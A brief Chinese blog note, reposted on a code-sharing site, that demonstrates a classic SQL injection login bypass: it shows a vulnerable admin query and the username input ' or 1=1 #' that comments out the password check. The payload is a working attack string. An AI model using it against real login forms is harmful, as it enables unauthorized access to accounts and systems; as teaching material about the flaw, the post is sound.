sql 注入(自己总结)

时间:2014-12-11 16:06:35   收藏:0   阅读:184

1、登录时

SELECT  *  from  admin  where  username=‘xioahan‘ or 1=1 #‘ and  MD5(password)=‘d41d8cd98f00b204e9800998ecf8427e‘;


只要在用户名输入框输入xiaohan‘ or 1=1 #‘  就能注释 密码的认证

本文出自 “映梦_xiaohan” 博客,请务必保留此出处http://yingmeng.blog.51cto.com/5365464/1588674

评论(0)
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!